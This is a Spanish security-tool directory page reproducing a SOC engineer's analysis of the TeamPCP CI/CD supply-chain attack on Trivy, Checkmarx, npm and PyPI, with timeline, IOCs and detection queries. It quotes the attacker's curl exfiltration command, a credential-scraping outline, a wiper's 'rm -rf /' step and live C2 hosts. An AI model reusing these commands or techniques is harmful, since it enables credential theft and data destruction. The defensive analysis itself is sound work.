Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — El ataque a la cadena de suministro de CI/CD más impactante de 2026 hasta ahora. | Kitploit
Herramientas/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Seguridad de ContenedoresAnálisis de MalwareSeguridad en la NubeInteligencia de AmenazasSeguridad de Cadena de SuministroAprendizaje y EducaciónRespuesta a IncidentesRecursos Curados

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — El ataque a la cadena de suministro de CI/CD más impactante de 2026 hasta ahora.

Ver Repositorio
1134hace 1 mesAún no revisado

Ataque a la cadena de suministro TeamPCP: Guía de análisis técnico y detección

CVE-2026-33634 (CVSS 9.4) — El ataque a la cadena de suministro CI/CD más impactante de 2026 hasta ahora.

Entre el 19 y el 25 de marzo de 2026, el actor de amenazas TeamPCP (también rastreado como DeadCatx3, PCPcat, ShellForce, CanisterWorm) ejecutó un compromiso en cascada de la cadena de suministro en cinco ecosistemas: GitHub Actions, Docker Hub, OpenVSX, npm y PyPI. Partiendo de un único PAT de GitHub rotado de forma incompleta, la campaña se propagó a dos importantes proveedores de seguridad de código abierto (Aqua Security y Checkmarx), cuatro repositorios de GitHub Actions, dos extensiones de VS Code, registros de contenedores y más de 66 paquetes npm.

Este repositorio proporciona un desglose técnico completo, listas de IOC seleccionadas (probadas contra falsos positivos) y consultas de detección listas para implementar en Microsoft Defender XDR.


Tabla de contenido

  • Cronología del ataque
  • Desglose de la cadena de eliminación
  • Artefactos comprometidos
  • Mecánica del ladrón de credenciales
  • CanisterWorm — Propagación en npm
  • Componente wiper dirigido a Irán
  • Detección y búsqueda de amenazas
  • Lista de IOC
  • Notas sobre el filtrado de falsos positivos
  • Mapeo MITRE ATT&CK
  • Referencias

Cronología del ataque


Desglose de la cadena de eliminación

Fase 1 — Acceso inicial

Causa raíz: rotación incompleta de credenciales tras la brecha del 28 de febrero. El PAT de la cuenta de servicio aqua-bot no fue revocado o el atacante observó el nuevo token durante la rotación.

TeamPCP utilizó este acceso retenido para hacer force-push de etiquetas de versión a commits impostores maliciosos. Cada commit falsificado clonaba los metadatos del original (autor, marca de tiempo, mensaje) mientras reemplazaba el script de punto de entrada por el payload del ladrón. La página de lanzamiento de GitHub no mostraba ningún cambio visible: incluso la insignia "Immutable" se mostraba con normalidad.

Fase 2 — Ejecución del payload

El ladrón — un entrypoint.sh de 204 líneas que se autodenomina "TeamPCP Cloud stealer" — ejecuta un ataque en tres etapas:

Etapa 1: Raspado de memoria

root@kitploit:~
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Etapa 2: Barrido de credenciales en el sistema de archivos

Escanea más de 50 rutas sensibles, incluyendo:

  • Claves SSH (~/.ssh/*)
  • Credenciales de AWS/GCP/Azure
  • Tokens y configuraciones de Kubernetes
  • Credenciales de registro de Docker
  • Archivos de estado de Terraform
  • Billeteras de criptomonedas (Solana, Bitcoin, Ethereum, Cardano)
  • Tokens de npm (~/.npmrc)
  • Historiales de shell
  • Archivos .env

Etapa 3: Exfiltración cifrada

  • Empaqueta todos los datos recopilados en tpcp.tar.gz
  • Cifra con AES-256-CBC (clave de sesión aleatoria) + RSA-4096/RSA-OAEP (clave pública del atacante)
  • Exfiltra mediante curl POST a dominios typosquat específicos del proveedor
  • Respaldo: crea un repositorio tpcp-docs o docs-tpcp en la cuenta de GitHub de la víctima usando el GITHUB_TOKEN robado

Fase 3 — Persistencia

En sistemas Linux que no son de CI, el malware:

  1. Crea el directorio oculto ~/.config/sysmon/
  2. Deja caer una puerta trasera en Python (sysmon.py)
  3. Instala un servicio de usuario de systemd que consulta el C2 cada 50 minutos
  4. Interruptor de apagado (kill switch): si la respuesta del C2 contiene "youtube", la puerta trasera omite la ejecución

Fase 4 — Movimiento lateral (ola Checkmarx)

Las credenciales robadas en la ola Trivy permitieron comprometer el ecosistema de Checkmarx. Cada nueva ola utilizó un dominio C2 typosquat diferente para evadir las listas de bloqueo de la ola anterior:

OlaDominio C2Typosquat de
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

Artefactos comprometidos

GitHub Actions

Extensiones de OpenVSX (VS Code Marketplace NO afectado)

ExtensiónVersión maliciosaVersión segura
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

Ambas extensiones se publicaron con 12 segundos de diferencia a las 12:53 UTC del 23 de marzo mediante la cuenta ast-phoenix. Al activarse, environmentAuthChecker.js busca credenciales de proveedores de nube y luego descarga un ladrón de segunda etapa desde checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Imágenes de contenedor

ImagenEtiquetas maliciosas
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

PaqueteVersionesArchivo con puerta trasera
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

Payload base64 de triple anidamiento con kit de movimiento lateral en K8s. Persistencia mediante sysmon.service que consulta checkmarx.zone/raw.


Mecánica del ladrón de credenciales

El patrón de exfiltración es idéntico en todas las olas:

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

La estrategia de dominio typosquat es deliberada: un analista que revisa los registros de CI/CD ve tráfico curl hacia lo que parece el propio dominio del proveedor de la acción. Sin una comparación cuidadosa, scan.aquasecurtiy.org pasa por aquasecurity.org en una revisión rápida de registros.

Solo el atacante puede descifrar los datos robados: la clave de sesión AES está cifrada con RSA-OAEP usando su clave pública.


CanisterWorm — Propagación en npm

En las 24 horas posteriores al compromiso de Trivy, los tokens npm robados permitieron un gusano autopropagante en más de 66 paquetes (141 artefactos maliciosos).

Qué hace notable a CanisterWorm:

  • Primer malware npm documentado que usa un canister de blockchain ICP (Protocolo de la Computadora de Internet) como C2
  • El canister en tdtqy-oyaaa-aaaae-af2dq-cai es un contrato inteligente descentralizado: no existe un único punto de derribo
  • Expone 3 métodos: get_latest_link, http_request, update_link
  • El atacante puede rotar los payloads en todas las máquinas infectadas sin volver a publicar ningún paquete npm
  • Interruptor de apagado: si el canister devuelve una URL que contiene youtube.com, la puerta trasera se duerme
  • Persistencia: servicio de usuario de systemd que se hace pasar por pgmon (monitoreo de PostgreSQL)
  • Intervalo de consulta: cada 50 minutos
  • Binario depositado en /tmp/pglog, estado rastreado en /tmp/.pg_state

Ámbitos comprometidos conocidos: @emilgroup/*, @teale.io/* (variante autopropagante en @teale.io/eslint-config v1.8.11, v1.8.12)


Componente wiper dirigido a Irán

Una variante destructiva ataca específicamente sistemas iraníes:

  1. Kubernetes + Irán: despliega DaemonSets privilegiados en cada nodo (incluido el plano de control), borra y fuerza el reinicio mediante el contenedor llamado kamikaze
  2. Kubernetes + no Irán: instala la puerta trasera CanisterWorm como servicio systemd
  3. No K8s + Irán: ejecuta rm -rf / --no-preserve-root con sudo
  4. No K8s + no Irán: no realiza ninguna acción

La detección se realiza mediante comprobaciones de zona horaria y configuración regional del sistema.


Detección y búsqueda de amenazas

Microsoft Defender XDR — Regla de detección personalizada

Nombre de la regla: TeamPCP Supply Chain C2 and Malware IOC Match
Gravedad: Alta
Categoría: CommandAndControl
Frecuencia: Cada 1 hora

Consulta detection/defender_xdr_query.kql para ver la consulta KQL completa.

La consulta cubre:

  • 7 hashes SHA256 de archivos (ladrón + variantes de CanisterWorm)
  • 2 direcciones IP de C2
  • 4 dominios C2 (typosquats + canister ICP)
  • 4 URL C2 específicas
  • Comprobaciones de resolución DNS

Importación de indicadores Defender TI

Se proporciona un CSV listo para importar en iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Este archivo ha sido probado contra falsos positivos en un entorno empresarial de producción.

Otras plataformas

PlataformaDetección
Palo Alto Cortex XDRRegla ioc.linux.shaihulud.2 — acceso a credenciales en runners de GitHub Action
Sysdig/FalcoContact EC2 Instance Metadata Service From Container, ,

Lista de IOC

Hashes de archivo (SHA256)

IOCs de red

Rutas URL C2

URLFunción
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgzDescarga de payload de segunda etapa

Artefactos de persistencia

Repositorios de exfiltración de GitHub (respaldo)

NombreOla
tpcp-docsTrivy
docs-tpcpCheckmarx

Notas sobre el filtrado de falsos positivos

Las consultas de detección y el CSV de IOC de este repositorio se han probado en un entorno de producción que ejecuta:

  • Ansible AWX/Tower con colecciones community.general y kubernetes.core
  • Claude Code y GitHub Copilot en estaciones de trabajo de desarrollo macOS
  • Agente FortiMonitor (consulta de IMDS)
  • Oracle AHF en instancias OCI (consulta de IMDS)
  • Diversas cadenas de herramientas de desarrollo Python/Node.js

Los siguientes IOCs fueron eliminados debido a falsos positivos confirmados:


Mapeo MITRE ATT&CK


Referencias


Licencia

MIT: úsalo, compártelo y adáptalo libremente. Se agradece la atribución.


Autor: Ugur Can Ates — Líder de equipo SOC y ingeniero sénior de seguridad
Última actualización: 25 de marzo de 2026

Descargar herramienta
Fecha (UTC)Evento
20 feb 2026Cuenta hackerbot-claw creada; comienza a escanear repositorios en busca de flujos de trabajo pull_request_target explotables
28 feb 2026Primer compromiso de Trivy mediante solicitud PWN; credenciales exfiltradas
1 mar 2026Aqua Security intenta la contención: rotación de credenciales incompleta
19 mar, 17:43Golpe principal: TeamPCP hace force-push de 75/76 etiquetas en aquasecurity/trivy-action + las 7 etiquetas en setup-trivy mediante la cuenta de servicio aqua-bot comprometida
19 mar, 18:22Trivy v0.69.4 con puerta trasera publicado en GitHub Releases, Docker Hub, GHCR, ECR
20 mar, 05:40La ventana de compromiso de Trivy-action se cierra (~12 horas)
20 mar, 20:45CanisterWorm detectado propagándose por npm: más de 47 paquetes comprometidos
22 mar, 20:31TeamPCP desfigura los 44 repositorios de la organización de GitHub aquasec-com en una ráfaga programada de 2 minutos
22 marImágenes de Docker Hub 0.69.5 y 0.69.6 publicadas con el mismo payload del ladrón
23 mar, 02:53Comienza la ola Checkmarx: ast-results v2.53.0 y cx-dev-assist v1.7.0 maliciosos publicados en OpenVSX mediante la cuenta ast-phoenix
23 mar, 12:58Las 35 etiquetas de Checkmarx/kics-github-action reciben force-push mediante la cuenta cx-plugins-releases comprometida
23 mar, 15:41Checkmarx informa que el problema de OpenVSX está resuelto
23 mar, 16:50KICS GitHub Action retirada tras un informe de usuario
23 mar, 22:25Sysdig informa que Checkmarx/ast-github-action v2.3.28 también está comprometida
24 mar, 08:30Ola LiteLLM: litellm v1.82.7 y v1.82.8 troyanizados publicados en PyPI con credenciales robadas
24 mar, 11:25PyPI pone en cuarentena las versiones maliciosas de LiteLLM
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
RepositorioEtiquetas comprometidasVentana de exposición (UTC)Punto de entrada
aquasecurity/trivy-action75 de 76 (segura: 0.35.0)Mar 19 17:43 – Mar 20 05:40entrypoint.sh
aquasecurity/setup-trivyLas 7 etiquetasMar 19 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionLas 35 etiquetasMar 23 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (probablemente todas)Mar 23 ~22:25+setup.sh
Curl Exfiltrating File
Exfiltration of AWS IMDS Credentials Using LOTL Binary
HashDescripciónFuente
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aentrypoint.sh malicioso de TrivyPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm Ola 4 — forma finalAikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm Ola 3 — prueba autopropaganteAikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm Ola 2 — puerta trasera ICP armadaAikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm Ola 1 — deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm Ola 2 — deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm Ola 3+ — deploy.js minificadoAikido Security
IndicadorTipoPropósito
83.142.209.11IPServidor C2 (checkmarx.zone)
45.148.10.212IPServidor C2 (scan.aquasecurtiy.org)
checkmarx[.]zoneDominioC2 — ola Checkmarx/KICS/LiteLLM
scan.aquasecurtiy[.]orgDominioC2 — ola Trivy
models.litellm[.]cloudDominioC2 — ola LiteLLM PyPI
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioDominioCanister ICP C2 de entrega pasiva (dead-drop)
checkmarx[.]zone/vsx
Punto de exfiltración
checkmarx[.]zone/rawConsulta de persistencia (50 min)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/Canister ICP C2
RutaPropósito
~/.config/sysmon/Directorio de la puerta trasera
~/.config/sysmon.pyPuerta trasera en Python
~/.config/systemd/user/sysmon.servicePersistencia en systemd
~/.config/systemd/user/pgmon.servicePersistencia de CanisterWorm (suplantación de PostgreSQL)
/tmp/pglogBinario descargado
/tmp/.pg_stateEstado de consulta al C2
IOCFuente de FP
setup.sh (nombre de archivo)Colecciones de Ansible, caché de plugins de Claude Code, scripts de Bitnami
service.py (nombre de archivo)module_utils de Ansible, protobuf, boto3, FreeIPA, núcleo de K8s
deploy.js (nombre de archivo)Archivo estándar de npm/node
169.254.169.254 (IP de IMDS)Agente FortiMonitor, Oracle AHF: monitoreo legítimo
icp0.io (dominio principal)Demasiado amplio, captura tráfico ICP legítimo
hooks.slack.com (línea de comandos)Integraciones legítimas de Slack
discord.com/api/webhooks (línea de comandos)Integraciones legítimas de Discord
TécnicaIDContexto
Compromiso de la cadena de suministro: Dependencias de softwareT1195.002Envenenamiento de etiquetas en GitHub Actions, OpenVSX, npm, PyPI
Credenciales no seguras: API de metadatos de instancia en la nubeT1552.005Robo de AWS IMDS desde runners de CI
Credenciales de almacenes de contraseñasT1555Barrido de credenciales en el sistema de archivos (más de 50 rutas)
Volcado de credenciales del sistema operativoT1003Raspado de /proc/mem de Runner.Worker
Exfiltración a través del canal C2T1041tpcp.tar.gz cifrado hacia dominios typosquat
Servicio webT1102Canister ICP C2 de entrega pasiva (dead-drop)
Servicio systemdT1543.002Persistencia mediante pgmon.service, sysmon.service
Transferencia de herramientas entrantesT1105Descarga de checkmarx-util-1.0.4.tgz
Adquirir infraestructura: DominiosT1583.001Dominios typosquat por ola
FuenteEnlace
Wiz — Compromiso de KICShttps://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz — Compromiso de Trivyhttps://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT — Expansión a Checkmarxhttps://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx oficialhttps://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security — Cronología completahttps://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security — CanisterWormhttps://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs — LiteLLMhttps://www.endorlabs.com/learn/teampcp-isnt-done
Mend — CanisterWormhttps://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket — Compromiso de npmhttps://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity — Análisis de Trivyhttps://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog — Análisis ampliadohttps://research.jfrog.com/post/canister-worm/
Rami McCarthy — Cronología de IOCshttps://ramimac.me/trivy-teampcp/